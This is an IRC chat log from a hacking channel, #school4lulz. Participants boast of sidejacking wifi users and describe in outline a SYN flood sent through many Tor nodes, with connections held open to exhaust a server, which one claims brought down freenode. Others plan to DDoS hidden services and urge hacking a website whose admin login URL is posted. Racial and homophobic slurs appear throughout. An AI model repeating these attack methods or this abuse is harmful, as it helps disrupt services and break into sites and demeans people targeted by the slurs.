Jun 10 23:25:19 <hatter> wait,  
Jun 10 23:25:21 <Onions> Sending them their passwords won't do shit.  
Jun 10 23:25:22 <Snafu> Hell in the email, suggest a bank you couldnt hack into.....  
Jun 10 23:25:24 <hatter> ` got v&  
Jun 10 23:25:28 <hatter> ?  
Jun 10 23:25:33 <hatter> John: ^?  
Jun 10 23:25:33 <Snafu> Ever mitm at a local starbucks?  
Jun 10 23:25:34 <Onions> I was joking.  
Jun 10 23:25:47 <Onions> No because I'm not stupid.  
Jun 10 23:25:53 <hatter> oh  
Jun 10 23:25:55 <hatter> word  
Jun 10 23:25:56 <Snafu> people shit bricks when u show em a sidejack  
Jun 10 23:26:02 <hatter> lol  
Jun 10 23:26:02 <Snafu> I love doing it to make people aware  
Jun 10 23:26:13 <Onions> They forget the next day.  
Jun 10 23:26:17 <Onions> And keep doing the same thing.  
Jun 10 23:26:24 <z3rod4ta> <http://i.imgur.com/fDzc0.jpg>  
Jun 10 23:26:26 <Snafu> Then hopefully, they take that lesson and dont use free wifi for shit like facebook, where the odds are its their same password for the bank  
Jun 10 23:26:29 <Onions> Unless something hurts them so that they remember.  
Jun 10 23:26:32 <Onions> They never do.  
Jun 10 23:26:35 <z3rod4ta> somene got through an emails from thr lulz list  
Jun 10 23:26:58 \* p6chip saiu (Ping timeout: 240 seconds)  
Jun 10 23:27:38 <Snafu> So what do we do then Onions?  
Jun 10 23:27:38 <Onions> You seem to have a lot of faith in others, Snafu. You're either a fed or someone that doesn't really know what people are like.  
Jun 10 23:27:52 <Snafu> Im just a normal dude bro  
Jun 10 23:27:52 <Onions> You destroy corporations.  
Jun 10 23:27:59 <Snafu> fuck check me out  
Jun 10 23:28:05 <Onions> And do as much damage as needed.  
Jun 10 23:28:08 <Snafu> wifishield.org =)  
Jun 10 23:28:15 <Snafu> I hate huge corporations  
Jun 10 23:28:17 <Snafu> My favorite target is the damn geek squad  
Jun 10 23:28:17 <Snafu> overcharging  
Jun 10 23:28:17 <Snafu> fuckers...  
Jun 10 23:28:29 <Onions> See, the problem is not geeksquad.  
Jun 10 23:28:32 <Snafu> I do for 49.99 what they do for 149.99  
Jun 10 23:28:32 <aws> well apparently even 15 year old girls can destroy one thse days.  
Jun 10 23:28:34 <Snafu> Yes  
Jun 10 23:28:34 <Snafu> My website sucks  
Jun 10 23:28:34 <Snafu> I know  
Jun 10 23:28:34 <aws> have at it !  
Jun 10 23:28:36 <Snafu> Dont hate =)  
Jun 10 23:28:37 <Onions> The problem is the people that go to geeksquad.  
Jun 10 23:28:39 <Snafu> the problem is the idiot consumers  
Jun 10 23:28:40 <Snafu> I know  
Jun 10 23:28:46 <Snafu> ditto bro  
Jun 10 23:28:52 <Snafu> Thats why u have to pass on the knowledge and teach  
Jun 10 23:28:54 <Onions> Unless you take care of the idiots, it will never end.  
Jun 10 23:29:00 <Onions> But, there lies the problem.  
Jun 10 23:29:00 <whiteh8> Snafu is a fed  
Jun 10 23:29:04 <Onions> NO ONE EVER LEARNS  
Jun 10 23:29:07 <Snafu> heh  
Jun 10 23:29:07 <Onions> It's impossible.  
Jun 10 23:29:16 <Snafu> Call me whatever ya want man

Jun 10 23:29:17 <Snafu> like i said  
Jun 10 23:29:20 <Snafu> Im the ginger at wifishield  
Jun 10 23:29:23 <Onions> You've literally got to beat them within an inch of their life to get anything into their head.  
Jun 10 23:29:23 <Snafu> if my pic is still even there  
Jun 10 23:29:32 <whiteh8> stop trying to pacify the regulars\  
Jun 10 23:29:37 \* Fox interditou \*!John123@2082E06A.24D6463C.2B8F0750.IP  
Jun 10 23:29:37 <Snafu> i wonder.....  
Jun 10 23:29:38 \* Fox expulsou John de #school4lulz (For being a troll)  
Jun 10 23:29:44 <hatter> rofl  
Jun 10 23:29:46 \* Fox interditou Snafu!\*@\*  
Jun 10 23:29:47 \* Fox expulsou Snafu de #school4lulz (Fed or douchebag.)  
Jun 10 23:29:49 <hatter> saw that commin  
Jun 10 23:29:54 <eax> rofl  
Jun 10 23:29:55 <hatter> How many of you saw that?  
Jun 10 23:29:56 <Onions> Thank you, Fox.  
Jun 10 23:29:57 <hatter> ol  
Jun 10 23:29:59 <hatter> \*lol  
Jun 10 23:30:01 <eax> inb4 priv msg  
Jun 10 23:30:05 <Onions> lol.  
Jun 10 23:30:13 <whiteh8> fucking backtracking retard  
Jun 10 23:30:18 <hatter> ^  
Jun 10 23:30:27 <Fox> ^  
Jun 10 23:30:39 <Onions> v  
Jun 10 23:30:42 <eax> ./\  
Jun 10 23:30:53 <whiteh8> keep trying to catch this fly with my bare hands  
Jun 10 23:30:53 <Odysseus> ``  
Jun 10 23:30:56 <whiteh8> he's quick  
Jun 10 23:31:00 <Onions> lolwat  
Jun 10 23:31:13 <whiteh8> i used to be able to do it pretty well  
Jun 10 23:31:22 <eax> poor fly  
Jun 10 23:31:32 <eax> :(  
Jun 10 23:31:32 \* kratos (~kratos@fbi.gov) entrou em #school4lulz  
Jun 10 23:31:36 \* bumfiend1 (~user@LulzCo-EE5087A5.rmpriv.nl) entrou em #school4lulz  
Jun 10 23:31:41 <whiteh8> want me to mail you his ashes? >:)  
Jun 10 23:31:51 <eax> Q\_\_\_Q  
Jun 10 23:32:06 \* hellothere (~hellothere@34D6CFB5.A3F8D5B9.49BE9084.IP) entrou em #school4lulz  
Jun 10 23:32:08 \* Odysseus saiu (Remote host closed the connection)  
Jun 10 23:32:14 <eax> when i was younger i killed a fly  
Jun 10 23:32:16 <hellothere> <http://www.mclol.com/funny-articles/famous-internet-trolls-who-did-it-for-the-lulz/>  
Jun 10 23:32:20 <hellothere> noobs  
Jun 10 23:32:25 <eax> i had to put it in a match box and give it a funeral  
Jun 10 23:32:29 <hellothere> hack this site  
Jun 10 23:32:31 <hellothere> bitch  
Jun 10 23:32:32 <eax> i was sad 😞  
Jun 10 23:32:33 <Onions> lol eax.  
Jun 10 23:32:46 \* f0rget\_ saiu (Ping timeout: 240 seconds)  
Jun 10 23:33:08 <Onions> The best thing is.  
Jun 10 23:33:11 <Onions> When you mow the lawn.  
Jun 10 23:33:15 <Onions> And there's snakes around.  
Jun 10 23:33:20 <whiteh8> ew 🤢  
Jun 10 23:33:23 <Onions> And once in a while, you feel you ran over something hard.  
Jun 10 23:33:30 <Onions> And FUCKING PIECES OF SNAKE FLYING EVERYWHERE  
Jun 10 23:33:34 <eax> :C  
Jun 10 23:33:37 <YaHMaN> cooooool  
Jun 10 23:33:49 <YaHMaN> cook it + eat it  
Jun 10 23:33:51 <hatter> nice skinned wordpress hellothere  
Jun 10 23:33:53 <hatter> [http://www.mclol.com/wp-login.php?redirect\\_to=http%3A%2F%2Fwww.mclol.com%2Fwp-admin%2F](http://www.mclol.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.mclol.com%2Fwp-admin%2F)  
Jun 10 23:33:55 <hatter> come on kid  
Jun 10 23:33:56 <hellothere> <http://www.mclol.com/funny-articles/famous-internet-trolls-who-did-it-for-the-lulz/> I THINK WE SHOULD HACK THIS SITE FOR CALLING US TROLLS  
Jun 10 23:34:01 \* f0rget\_ (~f0rget@LulzCo-6D96D76.tor servers.net) entrou em #school4lulz  
Jun 10 23:34:06 <hatter> Its an obviously easy pwn  
Jun 10 23:34:08 <hatter> Get real man  
Jun 10 23:34:10 <hatter> get real.  
Jun 10 23:34:17 <eax> LOL EZ PWN  
Jun 10 23:34:24 <hatter> ez mode  
Jun 10 23:34:33 <whiteh8> hellothere, go away  
Jun 10 23:34:57 <hellothere> no  
Jun 10 23:34:59 <hellothere> ty  
Jun 10 23:35:00 \* eax expulsou hellothere de #school4lulz (ez pwn get to it)  
Jun 10 23:35:06 \* hellothere (~hellothere@34D6CFB5.A3F8D5B9.49BE9084.IP) entrou em #school4lulz  
Jun 10 23:35:08 <hatter> haha  
Jun 10 23:35:10 <Onions> That site looks horrible.  
Jun 10 23:35:13 <hellothere> ?  
Jun 10 23:35:15 <hatter> <3 %eax

Jun 10 23:35:16 <bumfiend1> Has anybody here got any experience in trying to ddos tor hidden services?

Jun 10 23:35:24 <Onions> lawl

Jun 10 23:35:27 <hellothere> yes

Jun 10 23:35:36 <Onions> bumfiend1, good luck.

Jun 10 23:35:43 <Onions> Those things more or less always in DDoS mode.

Jun 10 23:35:44 <Fox> GET REEL BRO

Jun 10 23:35:47 <Onions> Slow ass fuck.

Jun 10 23:35:49 <Fox> JEZSUS

Jun 10 23:35:55 <hellothere> anus

Jun 10 23:35:58 <bumfiend1> Slowloris and basic database page milking are the only two options?

Jun 10 23:36:03 <Fox> HATTER DOESNT TOUCH ANYTHING LESS THAN A LEVEL 99 HACK BRO

Jun 10 23:36:08 <Fox> HATTER = MASTER BALL

Jun 10 23:36:12 <Fox> ANY POKEMAN

Jun 10 23:36:14 <Fox> HES GOT IT.

Jun 10 23:36:23 <Fox> GARY MOTHERFUCKING OAK.

Jun 10 23:36:26 <hatter> haha

Jun 10 23:36:32 <FireStarter> bumfiend1 you would have to Ddos tor

Jun 10 23:36:55 <hatter> no you wouldn't

Jun 10 23:36:59 <hatter> tor is also ezmode

Jun 10 23:37:05 <hatter> because tor is slow in a lot of places

Jun 10 23:37:18 <hatter> you can queue up all the different entry points and directory servers

Jun 10 23:37:22 <hatter> to make a connection to one box

Jun 10 23:37:28 <hatter> and hit them with like 10000 tor nodes

Jun 10 23:37:33 <hatter> without even breaking a sweat off of dialup

Jun 10 23:37:37 <hatter> write a perl script bro

Jun 10 23:37:39 <hatter> lol

Jun 10 23:37:45 <Onions> Tor only outputs what you put in.

Jun 10 23:37:51 <Fox> I hate santrex I really do.

Jun 10 23:37:52 <Onions> So a dialup line wouldn't work for that.

Jun 10 23:37:56 <hatter> Onions: yeah it would

Jun 10 23:37:59 <hatter> you can queue it up

Jun 10 23:38:01 <hatter> asynchronously

Jun 10 23:38:10 <hatter> It happened to freenode before

Jun 10 23:38:11 <hatter> Believe me

Jun 10 23:38:14 <hatter> Its very possible

Jun 10 23:38:30 <hatter> That's why freenode doesn't allow tor

Jun 10 23:38:35 <hatter> because someone used tor to ddos them

Jun 10 23:38:39 <Fox> hatter = throws countries

Jun 10 23:38:44 <hatter> lol

Jun 10 23:38:46 \* aws saiu (Quit: ChatZilla 0.9.87 [Firefox 3.6.16/20110319135224])

Jun 10 23:38:48 <hatter> don't tell them about that X\_x;

Jun 10 23:38:50 <hatter> lol

Jun 10 23:38:58 <Fox> Fox = throws upstream providers

Jun 10 23:39:07 <hellothere> <http://www.mclol.com/funny-articles/famous-internet-trolls-who-did-it-for-the-lulz/> I THINK WE SHOULD HACK THIS SITE FOR CALLING US TROLLS

Jun 10 23:39:08 <Fox> eax = throws babies

Jun 10 23:39:12 <bumfiend1> A hidden service controls the creation of rendezvous points to it though

Jun 10 23:39:13 <eax> hatter = throws errors

Jun 10 23:39:18 \* Fox interditou \*!~hellother@34D6CFB5.A3F8D5B9.49BE9084.IP

Jun 10 23:39:18 <eax> he is master race

Jun 10 23:39:18 \* hatter expulsou hellothere de #school4lulz (hellothere)

Jun 10 23:39:22 <hatter> geeze.

Jun 10 23:39:22 <Fox> LOL

Jun 10 23:39:25 <Fox> LOL

Jun 10 23:39:37 <hatter> where's the stfubutton

Jun 10 23:39:42 <hatter> That kid wants us to do his legwork for him

Jun 10 23:39:46 <hatter> I even sent him the admin login

Jun 10 23:39:47 <Fox> icwat u did there hatter

Jun 10 23:39:48 <hatter> What a tool

Jun 10 23:39:53 <Onions> <https://www.torproject.org/docs/faq-abuse#DDoS>

Jun 10 23:39:54 <Fox> Fox sets mode +b \*!~hellother@34D6CFB5.A3F8D5B9.49BE9084.IP

Jun 10 23:40:00 <Fox> hatter kicked hellothere from the channel. (hellothere)

Jun 10 23:40:05 <Fox> Lolol

Jun 10 23:40:09 <eax> tag team

Jun 10 23:40:11 <Onions> hatter: Tor also doesn't allow bandwidth amplification attacks against external sites: you need to send in a byte for every byte that the Tor network will send to your destination. So in general, attackers who control enough bandwidth to launch an effective DDoS attack can do it just fine without Tor.

Jun 10 23:40:17 <Onions> From that link.

Jun 10 23:40:19 <hatter> Yeah

Jun 10 23:40:20 <bumfiend1> Onions, I already covered that

Jun 10 23:40:26 <hatter> You believe everything you read on the internet Onions ?

Jun 10 23:40:29 <Fox> LOL

Jun 10 23:40:35 <Fox> seriously.

Jun 10 23:40:35 <Onions> I know how Tor works.

Jun 10 23:40:36 <Fox> Hatter.

Jun 10 23:40:39 <Fox> Please get out of my head.

Jun 10 23:40:40 <bumfiend1> That's why you aren't using flooding techniques, but techniques to slow

the server

Jun 10 23:40:44 <Fox> I was literally about to type that.

Jun 10 23:40:52 <hatter> of course no one's gonna admit that their service can be misused

Jun 10 23:40:55 <hatter> one sec

Jun 10 23:41:00 <eax> hatter + fox = same person

Jun 10 23:41:01 <eax> ijs

Jun 10 23:41:48 \* dominus (~dominus@LulzCo-6D0FF491.dhcp.reno.nv.charter.com) entrou em #school4lulz

Jun 10 23:42:11 <hatter> lol hardly

Jun 10 23:42:16 <hatter> I'm lookin for my old script

Jun 10 23:42:18 <hatter> to pastebin it

Jun 10 23:42:20 <hatter> since onion's such a newb

Jun 10 23:42:26 <dominus> hey

Jun 10 23:42:26 <Onions> lol.

Jun 10 23:42:38 <Fox> Onions

Jun 10 23:42:41 <Onions> Well, let's see the script. If it works I'll believe you.

Jun 10 23:42:41 <Fox> serious

Jun 10 23:42:41 <Fox> Like

Jun 10 23:42:42 <hatter> its the same one used to bring down freenode off of a dialup

Jun 10 23:42:51 <hatter> I donno if tor updated/fixed their infrastructure

Jun 10 23:42:55 <Fox> I would put money on hatter

Jun 10 23:43:01 <Fox> on like 99.9% of things he says.

Jun 10 23:43:06 <Fox> Like

Jun 10 23:43:09 <Fox> Bet me something right now.

Jun 10 23:43:12 <hatter> but it has definitely been possible in the past.

Jun 10 23:43:16 <bumfiend1> I'm happily waiting for the script, I just want to ruin some pedo hidden services

Jun 10 23:43:26 <Onions> That's cool, Fox. You should be able to verify information by yourself, though.

Jun 10 23:43:27 <eax> hatter is the glorified pc gaming master race and you are a dirty console peasant

Jun 10 23:43:39 <hatter> bumfiend1: I don't know that it'd work on a hidden service unless you know an IP

Jun 10 23:43:43 \* auer saiu (Quit: Leaving)

Jun 10 23:43:46 <hatter> bumfiend1: this was just something used to smash an ircd

Jun 10 23:43:51 <bumfiend1> Yeah, this script doesn't sound like it would;

Jun 10 23:44:05 \* janicefromHR (~penny@LulzCo-8312FFBC.tor servers.net) entrou em #school4lulz

Jun 10 23:44:13 <hatter> my find is still running

Jun 10 23:44:14 <hatter> lol

Jun 10 23:44:15 <bumfiend1> As I say the hidden service controls the Rendezvous point creation as far as I know, so you can't get the directory server to queue anything up

Jun 10 23:44:17 <Fox> oh hi janice.

Jun 10 23:44:24 <hatter> lol

Jun 10 23:44:37 <bumfiend1> But I only have a basic understanding of it so w/e, I'll just focus on being bumfiend and spamming their search queries

Jun 10 23:44:54 <DannyGreen> anyone get any info on me that isn't publicly accessible from google yet ?

Jun 10 23:44:58 <Onions> I'm pretty sure that unless this script somehow makes all the exit points shoot massive amounts of data at the IP this can be easily blocked by firewall.

Jun 10 23:45:03 <Onions> If it's just connection attempts.

Jun 10 23:45:06 \* DannyGreen agora chama-se Krashed

Jun 10 23:45:24 <eax> hi krashed

Jun 10 23:45:29 <Anorov> so what i miss

Jun 10 23:45:30 <Krashed> hi

Jun 10 23:45:31 <Anorov> was there a class?

Jun 10 23:45:33 <eax> ilu

Jun 10 23:45:34 \* IR601 saiu (Quit: ZNC - <http://znc.sourceforge.net>)

Jun 10 23:45:37 <Krashed> <3

Jun 10 23:45:38 <eax> lets have babies

Jun 10 23:46:55 <hatter> Onions: of course it can be easily blocked, that wasn't the argument.

Jun 10 23:46:58 \* IR601 (eyearh@2AF13FD0.28B72224.ABF5F547.IP) entrou em #school4lulz

Jun 10 23:47:01 <hatter> Now you're backpedaling.

Jun 10 23:47:23 <Onions> hatter, I thought you were talking about actual bandwidth being used. If it's just connection attempts I agree it's possible.

Jun 10 23:47:31 <Onions> Massive amounts of bandwidth.

Jun 10 23:47:32 <hatter> yeah its just a synflood

Jun 10 23:47:33 <Onions> \*

Jun 10 23:47:43 <hatter> but you can make it come from a /lot/ of places at once

Jun 10 23:47:48 <hatter> with relatively minimal bandwidth

Jun 10 23:47:54 <hatter> shit that doesn't fix that syn cookie

Jun 10 23:47:56 <hatter> is fucked

Jun 10 23:48:02 <Onions> Yeah, especially for an IRC.

Jun 10 23:48:14 <Onions> Where you can make the connections seem legit either way.

Jun 10 23:48:46 <Onions> But yeah, not possible with a hidden service since there is no one endpoint to it.

Jun 10 23:48:59 <hatter> and then if you don't actually close the connection and you just leave the fd open

Jun 10 23:49:03 <hatter> they wind up with a shit ton of TIME\_WAIT

Jun 10 23:49:08 <hatter> fucks up their tcpip stack

Jun 10 23:49:11 <Onions> lol, yeah.  
Jun 10 23:49:16 <hatter> resource exhaustion  
Jun 10 23:49:19 <Onions> Freenode must have had shitty firewall rules  
Jun 10 23:49:23 <YaHMaN> yer  
Jun 10 23:49:32 \* YaHMaN saiu (Quit: Cock-Lined.)  
Jun 10 23:49:40 <hatter> lol I think they just ran the directory listing with a pipe + iptables to solve it  
Jun 10 23:49:46 <Onions> LOL  
Jun 10 23:49:58 <hatter> but it took them a few hours  
Jun 10 23:50:04 <hatter> hence B& by freenode  
Jun 10 23:50:05 <hatter> lol  
Jun 10 23:50:16 <Onions> I remember that JS IRC flood thing.  
Jun 10 23:50:26 <Onions> That was hilarious, too.  
Jun 10 23:50:38 <Onions> It would post the link to the JS flooder in the channels.  
Jun 10 23:50:44 <Onions> And everyone would open it causing more floods.  
Jun 10 23:54:41 <hatter> hahaha  
Jun 10 23:54:47 <hatter> that's p. troll  
Jun 10 23:55:20 <Onions> I know lol.  
Jun 10 23:55:42 \* figgybit saiu ()  
Jun 10 23:56:08 \* figgybit (~whatsthis@LulzCo-D6241CCF.c3-0.avec-ubr2.nyr-avec.ny.cable.rcn.com) entrou em #school4lulz  
Jun 11 00:00:22 \* dominus saiu (Quit: later)  
Jun 11 00:00:28 \* Anorov saiu (Excess Flood)  
Jun 11 00:01:05 \* Anorov (~an@LulzCo-B033409E.feem.net) entrou em #school4lulz  
Jun 11 00:01:13 \* faceless\_beas saiu (Read error: Connection reset by peer)  
Jun 11 00:02:04 \* Pak (~Pak@56DB992C.42314106.B7449AAF.IP) entrou em #school4lulz  
Jun 11 00:03:12 \* blu3beard (~none@46D672BC.59CB0294.C5CF906B.IP) entrou em #school4lulz  
Jun 11 00:09:05 <Onions> [http://encyclopediadramatica.ch/Firefox\\_XPS\\_IRC\\_Attack](http://encyclopediadramatica.ch/Firefox_XPS_IRC_Attack)  
Jun 11 00:09:08 <Onions> Found the link.  
Jun 11 00:10:19 \* notty saiu (Ping timeout: 240 seconds)  
Jun 11 00:10:40 \* wintermute (~wintermute@E595A635.A98D863.FA754C8E.IP) entrou em #school4lulz  
Jun 11 00:11:50 <Anorov> hmm, wintermute  
Jun 11 00:11:52 <Anorov> name rings a bell  
Jun 11 00:12:10 <Anorov> fuck i bet there's like 1000 wintermute, nvm  
Jun 11 00:12:13 <wintermute> heh  
Jun 11 00:12:13 \* LordKitsuna (~LordKitsuna@LulzCo-6D93A8BD.hsd1.wa.comcast.net) entrou em #school4lulz  
Jun 11 00:12:14 \* ChanServ coloca o modo de semi-operador a LordKitsuna  
Jun 11 00:12:16 <Shidash> ha  
Jun 11 00:12:26 <NonaLessThanThree> Anorov, it's from neuromancer <3  
Jun 11 00:12:26 \* Punker saiu (Ping timeout: 240 seconds)  
Jun 11 00:12:30 <Anorov> ahhh  
Jun 11 00:12:31 \* Krashed agora chama-se LordBulletproofGangster  
Jun 11 00:12:37 <LordBulletproofGangster> wheres my halfops niggers  
Jun 11 00:12:37 <Anorov> yeah certainly not a unique name then  
Jun 11 00:12:43 <wintermute> nope  
Jun 11 00:13:24 \* Pak saiu (Quit: leaving)  
Jun 11 00:13:39 \* meowZ saiu ()  
Jun 11 00:14:30 \* Babe1997 (~Anna@ECB01C92.CEA15DF0.943AC7A6.IP) saiu de #school4lulz  
Jun 11 00:15:20 <IR601> nigger dun stole ur halfop  
Jun 11 00:15:41 \* Saya agora chama-se S4ya  
Jun 11 00:16:10 \* flabbergaster saiu (Quit: <http://www.mibbit.com> ajax IRC Client)  
Jun 11 00:16:38 \* atriox (~not@LulzCo-3D60266.tco.qwest.net) entrou em #school4lulz  
Jun 11 00:19:28 \* wintermute saiu (Ping timeout: 240 seconds)  
Jun 11 00:19:37 \* Fox saiu (Quit: Textual IRC Client: <http://www.textualapp.com/>)  
Jun 11 00:20:14 \* blu3beard hates faggots with long ass names fucking up his irc  
Jun 11 00:20:28 \* Anorov agora chama-se ashiodgasdouigqef9ohqef  
Jun 11 00:20:30 <ashiodgasdouigqef9ohqef> sup  
Jun 11 00:20:35 \* LordKitsuna expulsou ashiodgasdouigqef9ohqef de #school4lulz (ashiodgasdouigqef9ohqef)  
Jun 11 00:20:36 \* ashiodgasdouigqef9ohqef (~an@no.peeps.4.creeps) entrou em #school4lulz  
Jun 11 00:20:39 \* ashiodgasdouigqef9ohqef agora chama-se Anorov  
Jun 11 00:20:40 <Anorov> lol  
Jun 11 00:20:43 <blu3beard> lol  
Jun 11 00:22:50 \* dextone (dextone@LulzCo-6DE2E1DA.dialup.blackberry.st) entrou em #school4lulz  
Jun 11 00:22:52 \* MrBlue saiu (Remote host closed the connection)  
Jun 11 00:24:58 \* Fox (~fox@1671FD5.535D0BF5.9DC39C6.IP) entrou em #school4lulz  
Jun 11 00:24:58 \* ChanServ coloca o modo +q #school4lulz Fox  
Jun 11 00:24:58 \* ChanServ coloca o modo de operador a Fox  
Jun 11 00:25:56 <Fox> K.  
Jun 11 00:26:04 \* Hazz (02611019@LulzCo-EFFC6835.mibbit.com) saiu de #school4lulz  
Jun 11 00:26:26 <Fox> So now I don't have to worry about shit.  
Jun 11 00:27:45 \* Hellspawn (~Hellspawn@LulzCo-6D45544C.qld.bigpond.net.au) entrou em #school4lulz  
Jun 11 00:27:45 <nyann> You might hate general Facebook users, but Facebook is like the Gibson on steroids for defensive prowess...  
Jun 11 00:27:49 <nyann> oops  
Jun 11 00:27:53 \* noopsliider (~unknownus@LulzCo-72F419C5.dip.t-dialin.net) entrou em #school4lulz  
Jun 11 00:28:48 \* rawr (~rawr@LulzCo-EADBB201.formlessnetworking.net) entrou em #school4lulz

Jun 11 00:29:17 <fliprez1> anything can be hacked  
Jun 11 00:30:20 <Fox> So what's today's subject gents?  
Jun 11 00:30:37 <Tony> food  
Jun 11 00:30:46 <Fox> K no.  
Jun 11 00:30:54 <Hellspawn> maybe an extension of how to get bitches fox  
Jun 11 00:31:01 <Fox> No.  
Jun 11 00:31:17 <fliprez1> lack of pussy  
Jun 11 00:31:39 <Tony> vulnerabilities in the wild  
Jun 11 00:31:41 <Hellspawn> he did a really good class on getting bitches tbh  
Jun 11 00:32:01 <Fox> Hmm. I think we got today's class.  
Jun 11 00:32:09 <Fox> Assembly.  
Jun 11 00:32:57 <fliprez1> class to getting bitches? step 1: get rich ...fin  
Jun 11 00:33:14 <Fox> Someone kick that nigger. Im mobile.  
Jun 11 00:33:59 <eax> what nigger?  
Jun 11 00:34:03 <hatter> which one  
Jun 11 00:34:08 <eax> who the fuck is black in here  
Jun 11 00:34:09 <Fox> fliprez1:  
Jun 11 00:34:10 \* hatter interditou \*!\*fliprez@\*.sub-166-144-174.myvzw.com  
Jun 11 00:34:10 \* hatter expulsou fliprez1 de #school4lulz (fliprez1)  
Jun 11 00:34:16 <Dox> +hop plox  
Jun 11 00:34:16 <hatter> lol  
Jun 11 00:34:20 <Fox> <3  
Jun 11 00:34:23 <S4ya> mov eax, 0xc0cb10c  
Jun 11 00:34:23 \* hatter coloca o modo de semi-operador a Dox  
Jun 11 00:34:25 <S4ya> okay, class done  
Jun 11 00:34:30 <Dox> ty ty  
Jun 11 00:34:34 <hatter> no, class not done  
Jun 11 00:34:34 \* hurr (~hurr@LulzCo-27779E49.nds.ruhr-uni-bochum.de) entrou em #school4lulz  
Jun 11 00:34:45 <hatter> we'll also do the basics of EE  
Jun 11 00:34:50 <hatter> Well not EE  
Jun 11 00:34:50 <hatter> but  
Jun 11 00:34:54 <hatter> Basics of how a CPU works  
Jun 11 00:34:56 <S4ya> mov eax, 1  
Jun 11 00:34:57 <hatter> during the basics of ASM  
Jun 11 00:34:58 <S4ya> int 0x80  
Jun 11 00:35:01 <S4ya> okay, class done  
Jun 11 00:35:02 <S4ya> :/  
Jun 11 00:35:02 <Fox> S4ya: Hatter is asm raep  
Jun 11 00:35:17 <eax> way to combine intel syntax with at&t syntax  
Jun 11 00:35:19 <eax> :/  
Jun 11 00:35:31 <S4ya> why combine? at&t should be purged ☹️  
Jun 11 00:35:31 <hatter> yeah... for real. iw as about to say the same eax  
Jun 11 00:35:34 <hatter> uhm  
Jun 11 00:35:37 <hatter> then its int 80h  
Jun 11 00:35:39 <hatter> not int 0x80  
Jun 11 00:35:40 <hatter> S4ya:  
Jun 11 00:35:49 <TransfiniteGreyWizard> 0=1=0/1=1/2=2^-1  
Jun 11 00:35:57 \* Marti-n (~Marti-n@LulzCo-8EF524DC.ip.telfort.nl) entrou em #school4lulz  
Jun 11 00:36:00 <Dox> +m this bitch  
Jun 11 00:36:02 <S4ya> hatter: funny, nasm nicely assembles int 0x80  
Jun 11 00:36:08 <hatter> oh?  
Jun 11 00:36:11 <hatter> This I didn't know.  
Jun 11 00:36:15 <hatter> S4ya++  
Jun 11 00:36:18 <S4ya> <3  
Jun 11 00:36:18 <hatter> but I don't use nasm  
Jun 11 00:36:21 <hatter> So I wouldn't know.  
Jun 11 00:36:24 <hatter> lol  
Jun 11 00:36:31 <TransfiniteGreyWizard> Why don't you use nasm?  
Jun 11 00:36:51 <hatter> I use the gnu `as' and `ld' binaries packaged as coreutilities with every linux distro ever made.  
Jun 11 00:36:52 <z3rod4ta> !topic  
Jun 11 00:37:00 \* nachash (~nachash@210-50-93-160.ade.iprimus.net.au) entrou em #school4lulz  
Jun 11 00:37:12 <TransfiniteGreyWizard> You can make your own OS?  
Jun 11 00:37:25 <hatter> Yea...  
Jun 11 00:37:27 <hatter> lol  
Jun 11 00:37:44 <Dox> hatter is a bit legit  
Jun 11 00:37:47 <TransfiniteGreyWizard> I know  
Jun 11 00:37:52 <Fox> Lol  
Jun 11 00:37:57 <hatter> eax: how far do we take them? obv cover basics,  
Jun 11 00:38:01 <hatter> exit, printf  
Jun 11 00:38:09 <hatter> perhaps loops, one way hashing?  
Jun 11 00:38:19 <hurr> whats the subject>  
Jun 11 00:38:21 <hurr> ?  
Jun 11 00:38:22 <TransfiniteGreyWizard> Hatter, did my system of equ' make any sense to you?  
Jun 11 00:38:22 <hatter> Assembly  
Jun 11 00:38:27 <hurr> oh damn  
Jun 11 00:38:29 <Onions> Implementing RSA from scratch.  
Jun 11 00:38:29 <S4ya> repnz cmpsb  
Jun 11 00:38:31 <hurr> hardc0r

Jun 11 00:38:35 <S4ya> no tutorial should be without it

Jun 11 00:38:36 <TransfiniteGreyWizard> Or is it undefined nonsense?

Jun 11 00:38:38 <eax> basics, function calls, loops, if logic

Jun 11 00:38:43 <eax> assembling and linking

Jun 11 00:38:47 <S4ya> also, segment selectors

Jun 11 00:38:47 <S4ya> <3

Jun 11 00:38:49 <nyann> slap me summa dat +v

Jun 11 00:38:49 <hatter> TransfiniteGreyWizard: I think I may have missed that.

Jun 11 00:38:50 <eax> maybe some recursion

Jun 11 00:38:52 <hurr> lr parsing?

Jun 11 00:39:01 <hurr> why do you need assembly?

Jun 11 00:39:11 <hatter> eax: also add perhaps some bytecode analysis in there

Jun 11 00:39:14 <eax> why don't you need assembly

Jun 11 00:39:15 <hatter> n binary analysis?

Jun 11 00:39:24 \* Dox oferece voz a nyann

Jun 11 00:39:30 <hurr> sure

Jun 11 00:39:31 <S4ya> taint tracing and analysis with pintool?

Jun 11 00:39:33 <S4ya> that would be nice

Jun 11 00:39:36 <Hellspawn> computers wouldnt exist without assembly

Jun 11 00:39:37 <eax> brush through with gdb as well?

Jun 11 00:39:39 <S4ya> fuzzing tekneeks yo

Jun 11 00:40:00 <hatter> hrm

Jun 11 00:40:01 <hatter> hold up

Jun 11 00:40:05 <hurr> hellspawn: is true

Jun 11 00:40:05 <hatter> me and eax will pm

Jun 11 00:40:07 <hatter> and figure it out

Jun 11 00:40:11 <hatter> n then we'll kick off

Jun 11 00:40:15 <null-> no asm

Jun 11 00:40:21 <hurr> no?

Jun 11 00:40:29 <S4ya> go over function prologues/postlogues

Jun 11 00:40:30 <null-> nah

Jun 11 00:40:38 <hurr> whatchoowantnigga?

Jun 11 00:40:39 <S4ya> so that you can extend to yadda yadda stackoverflow fu in 5 minutes

Jun 11 00:40:50 \* TR0\|\| (~TR0\|\|@LulzCo-6B7D0F4B.dynamic.swissvpn.net) entrou em #school4lulz

Jun 11 00:41:05 <nyann> ty dox

Jun 11 00:41:05 <null-> hurr: something more practical for a irc class

Jun 11 00:41:06 \* nachash saiu (Remote host closed the connection)

Jun 11 00:41:13 <Dox> np np

Jun 11 00:41:50 \* halcyon1 (~nuri@LulzCo-F91D19D3.plspca.dsl-w.verizon.net) entrou em #school4lulz

Jun 11 00:42:05 \* halcyon1 saiu (Ping timeout: 240 seconds)

Jun 11 00:42:06 <Hellspawn> sql injections? live?

Jun 11 00:42:10 <hurr> oh ya, anything is good tho, these dudes are 1e20 more leet than my dumb ass, ill listen yp

Jun 11 00:42:11 \* halcyon1 agora chama-se halcyon

Jun 11 00:42:14 <hurr> \*up

Jun 11 00:42:22 <Fox> +m

Jun 11 00:42:26 <S4ya> why talk about sql injection when you can talk about kr4d lowlevel coding fu

